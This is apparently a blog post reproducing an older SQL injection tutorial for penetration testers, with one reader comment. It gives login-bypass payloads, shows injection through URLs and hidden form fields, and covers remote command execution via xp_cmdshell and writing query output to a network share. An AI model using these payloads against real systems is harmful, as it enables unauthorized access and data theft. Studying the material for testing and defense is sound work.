1.0 Introduction

When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the “9.0 Where can I get more info?” for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?

It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL quer
y to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?

Any web browser.

2.0 What you should look for?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for “FORM” tag in the HTML code. You may find something like this in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can’t find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:


3.0 How do you test if it is vulnerable?

Start with a single quote trick. Input something like:

hi’ or 1=1–

Into login, or password, or even in the URL. Example:
– Login: hi’ or 1=1–
– Pass: hi’ or 1=1–
http://duck/index.asp?id=hi‘ or 1=1–

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–“>

If luck is on your side, you will get login without any login name or password.

3.1 But why ‘ or 1=1–?

Let us look at another example why ‘ or 1=1– is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:


In the URL, ‘category’ is the variable name, and ‘food’ is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory=’food’

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, ‘food’.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food‘ or 1=1–

Now, our variable v_cat equals to “food’ or 1=1– “, if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘

The query now should now select everything from the product table regardless if PCategory is equal to ‘food’ or not. A double dash “–” tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (‘). Sometimes, it may be possible to replace double dash with single hash “#”.

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

‘ or ‘a’=’a

The SQL query will now become:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a

4.0 How do I get remote execution with SQL injection?

Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

‘; exec master..xp_cmdshell ‘ping’–

Try using double quote (“) if single quote (‘) is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?

It is possible to use sp_makewebtask to write your query into an HTML:

‘; EXEC master..sp_makewebtask “\\\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

But the target IP must folder “share” sharing for Everyone.

2 Responses to “SQL injection”

  1. Muneer K Says:

    SQL injection is an old method. It will not work if the PHP function addslashes() is called. It will append a backslash after every special characters.

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